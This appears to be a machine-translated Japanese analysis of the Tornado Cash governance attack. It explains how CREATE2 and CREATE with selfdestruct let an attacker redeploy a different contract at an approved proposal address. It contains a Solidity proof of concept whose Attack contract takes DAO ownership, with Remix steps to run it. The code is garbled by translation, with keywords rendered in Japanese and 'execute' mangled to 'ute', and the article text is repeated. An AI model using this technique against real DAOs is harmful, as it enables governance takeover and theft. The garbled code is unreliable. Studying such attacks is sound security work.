約 2 週間前 (5 月 20 日)、有名な通貨混合プロトコルである Tornado Cash がガバナンス攻撃を受け、ハッカーが Tornado Cash のガバナンス契約の制御 (所有者) を獲得しました。攻撃プロセスは次のとおりです。攻撃者はまず「通常のように見える」提案を提出し、その提案が可決された後、その提案によって実行されるコントラクトのアドレスを破壊し、そのアドレス上で攻撃コントラクトを再作成します。攻撃プロセスについては、SharkTeam の Tornado.Cash Proposal Attack Principle Analysis をご覧ください。 [1] 。ここでの攻撃の鍵は、**同じアドレス**に異なるコントラクトを展開することです。これはどのように達成されるのでしょうか?## 背景知識EVM には、コントラクトを作成するための 2 つのオペコード (CREATE と CREATE2) があります。### オペコードの作成new Token() を使用して CREATE オペコードを使用する場合、作成されるコントラクト アドレス計算関数は次のとおりです。アドレス tokenAddr = bytes20(keccak256(senderAddress, nonce))作成されるコントラクトのアドレスは、**作成者アドレス** + **作成者 Nonce** (作成されたコントラクトの数) で決まります。Nonce は常に徐々に増加するため、Nonce が増加すると、作成されるコントラクトのアドレスは常に異なります。### CREATE2 オペコードSalt new Token{salt: bytes32()}() を追加する場合、CREATE2 オペコードが使用され、作成されたコントラクト アドレス計算関数は次のようになります。アドレス tokenAddr = bytes20(keccak256(0xFF、送信者アドレス、ソルト、バイトコード))作成したコントラクトのアドレスは **作成者アドレス** + **カスタム ソルト** + **デプロイするスマート コントラクトのバイトコード** となるため、同じバイトコードと同じソルト値のみを使用できます。同じ契約先住所へ。では、異なるコントラクトを同じアドレスに展開するにはどうすればよいでしょうか?## 攻撃方法図に示すように、攻撃者は Create2 と Create を併用してコントラクトを作成します。> 参照元のコード:>>まず Create2 を使用してコントラクト Deployer をデプロイし、次に Create in Deployer を使用してターゲットのコントラクト プロポーザル (プロポーザル用) を作成します。 Deployer コントラクトと Proposal コントラクトの両方に、自己破壊実装 (selfdestruct) があります。プロポーザルが可決された後、攻撃者は Deployer コントラクトと Proposal コントラクトを破棄し、同じスラットで Deployer を再作成します。Deployer のバイトコードは同じままで、スラットも同じであるため、以前と同じ Deployer コントラクト アドレスが使用されます。が取得できますが、この時点でDeployerコントラクトの状態はクリアされ、nonceは0から始まるので、このnonceを利用して別のコントラクト攻撃を作成することができます。## 攻撃コードの例このコードは次のものからのものです。// SPDX ライセンス識別子: MITプラグマ ソリッドティ ^0.8.17;契約DAO {構造体提案 {アドレスターゲット。ブールが承認されました。ブール値が使用されます。}アドレスパブリック所有者 = msg.sender;提案[] 公開提案。関数approve(アドレスターゲット)外部{require(msg.sender == 所有者, "許可されていません");proposal.push(Proposal({ターゲット: ターゲット、承認済み: true、使用済み: false}));}function ute(uint256 professionalId) 外部買掛金 {提案書保管提案書=提案書 [proposalId] ;require(proposal.approved, "未承認");require(!proposal.uted, "uted");提案.uted = true;(bool ok, ) = professional.target.delegatecall(abi.encodeWithSignature("uteProposal()"));require(ok、「デリゲートコールが失敗しました」);}}契約提案 {イベントログ(文字列メッセージ);関数 uteProposal() 外部 {Emit Log("DAO によって承認された実行コード");}関数EmergencyStop()外部{selfdestruct(payable(address(0)));}}契約攻撃 {イベントログ(文字列メッセージ);公開所有者のアドレスを指定します。関数 uteProposal() 外部 {Emit Log("実行されたコードは DAO によって承認されません :)");// たとえば、DAO の所有者を攻撃者に設定します。所有者 = メッセージ送信者;}}コントラクト DeployerDeployer {イベントログ(アドレスaddr);関数デプロイ() 外部 {bytes32 ソルト = keccak256(abi.encode(uint(123)));address addr = address(new Deployer{salt: Salt}());ログ(アドレス)を出力します;}}契約デプロイヤー {イベントログ(アドレスaddr);関数deployProposal()外部{アドレス addr = アドレス(新しい提案());ログ(アドレス)を出力します;}関数デプロイ攻撃() 外部 {アドレス addr = アドレス(new Attack());ログ(アドレス)を出力します;}関数 kill() 外部 {selfdestruct(payable(address(0)));}}このコードを使用して、Remix で自分で実行することができます。1. まず DeployerDeployer をデプロイし、DeployerDeployer.deploy() を呼び出して Deployer をデプロイし、次に Deployer.deployProposal() を呼び出してプロポーザルをデプロイします。2. プロポーザルのプロポーザル契約アドレスを取得した後、DAO へのプロポーザルを開始します。3. Deployer.kill と Proposal.emergencyStop をそれぞれ呼び出して、Deployer と Proposal を破棄します。4. DeployerDeployer.deploy() を再度呼び出して Deployer をデプロイし、Deployer.deploy Attack() を呼び出して Attack をデプロイすると、 Attack は前の提案と一致します。5. DAO.ute を実行する際、攻撃は DAO の Owner 許可を取得しています。
トルネード ガバナンス攻撃: 同じアドレスに異なるコントラクトを展開する方法
約 2 週間前 (5 月 20 日)、有名な通貨混合プロトコルである Tornado Cash がガバナンス攻撃を受け、ハッカーが Tornado Cash のガバナンス契約の制御 (所有者) を獲得しました。
攻撃プロセスは次のとおりです。攻撃者はまず「通常のように見える」提案を提出し、その提案が可決された後、その提案によって実行されるコントラクトのアドレスを破壊し、そのアドレス上で攻撃コントラクトを再作成します。
攻撃プロセスについては、SharkTeam の Tornado.Cash Proposal Attack Principle Analysis をご覧ください。 [1] 。
ここでの攻撃の鍵は、同じアドレスに異なるコントラクトを展開することです。これはどのように達成されるのでしょうか?
背景知識
EVM には、コントラクトを作成するための 2 つのオペコード (CREATE と CREATE2) があります。
オペコードの作成
new Token() を使用して CREATE オペコードを使用する場合、作成されるコントラクト アドレス計算関数は次のとおりです。
アドレス tokenAddr = bytes20(keccak256(senderAddress, nonce))
作成されるコントラクトのアドレスは、作成者アドレス + 作成者 Nonce (作成されたコントラクトの数) で決まります。Nonce は常に徐々に増加するため、Nonce が増加すると、作成されるコントラクトのアドレスは常に異なります。
CREATE2 オペコード
Salt new Token{salt: bytes32()}() を追加する場合、CREATE2 オペコードが使用され、作成されたコントラクト アドレス計算関数は次のようになります。
アドレス tokenAddr = bytes20(keccak256(0xFF、送信者アドレス、ソルト、バイトコード))
作成したコントラクトのアドレスは 作成者アドレス + カスタム ソルト + デプロイするスマート コントラクトのバイトコード となるため、同じバイトコードと同じソルト値のみを使用できます。同じ契約先住所へ。
では、異なるコントラクトを同じアドレスに展開するにはどうすればよいでしょうか?
攻撃方法
図に示すように、攻撃者は Create2 と Create を併用してコントラクトを作成します。
まず Create2 を使用してコントラクト Deployer をデプロイし、次に Create in Deployer を使用してターゲットのコントラクト プロポーザル (プロポーザル用) を作成します。 Deployer コントラクトと Proposal コントラクトの両方に、自己破壊実装 (selfdestruct) があります。
プロポーザルが可決された後、攻撃者は Deployer コントラクトと Proposal コントラクトを破棄し、同じスラットで Deployer を再作成します。Deployer のバイトコードは同じままで、スラットも同じであるため、以前と同じ Deployer コントラクト アドレスが使用されます。が取得できますが、この時点でDeployerコントラクトの状態はクリアされ、nonceは0から始まるので、このnonceを利用して別のコントラクト攻撃を作成することができます。
攻撃コードの例
このコードは次のものからのものです。
// SPDX ライセンス識別子: MIT プラグマ ソリッドティ ^0.8.17; 契約DAO { 構造体提案 { アドレスターゲット。 ブールが承認されました。 ブール値が使用されます。 } アドレスパブリック所有者 = msg.sender; 提案[] 公開提案。 関数approve(アドレスターゲット)外部{ require(msg.sender == 所有者, "許可されていません"); proposal.push(Proposal({ターゲット: ターゲット、承認済み: true、使用済み: false})); } function ute(uint256 professionalId) 外部買掛金 { 提案書保管提案書=提案書 [proposalId] ; require(proposal.approved, "未承認"); require(!proposal.uted, "uted"); 提案.uted = true; (bool ok, ) = professional.target.delegatecall( abi.encodeWithSignature("uteProposal()") ); require(ok、「デリゲートコールが失敗しました」); } } 契約提案 { イベントログ(文字列メッセージ); 関数 uteProposal() 外部 { Emit Log("DAO によって承認された実行コード"); } 関数EmergencyStop()外部{ selfdestruct(payable(address(0))); } } 契約攻撃 { イベントログ(文字列メッセージ); 公開所有者のアドレスを指定します。 関数 uteProposal() 外部 { Emit Log("実行されたコードは DAO によって承認されません :)"); // たとえば、DAO の所有者を攻撃者に設定します。 所有者 = メッセージ送信者; } } コントラクト DeployerDeployer { イベントログ(アドレスaddr); 関数デプロイ() 外部 { bytes32 ソルト = keccak256(abi.encode(uint(123))); address addr = address(new Deployer{salt: Salt}()); ログ(アドレス)を出力します; } } 契約デプロイヤー { イベントログ(アドレスaddr); 関数deployProposal()外部{ アドレス addr = アドレス(新しい提案()); ログ(アドレス)を出力します; } 関数デプロイ攻撃() 外部 { アドレス addr = アドレス(new Attack()); ログ(アドレス)を出力します; } 関数 kill() 外部 { selfdestruct(payable(address(0))); } }
このコードを使用して、Remix で自分で実行することができます。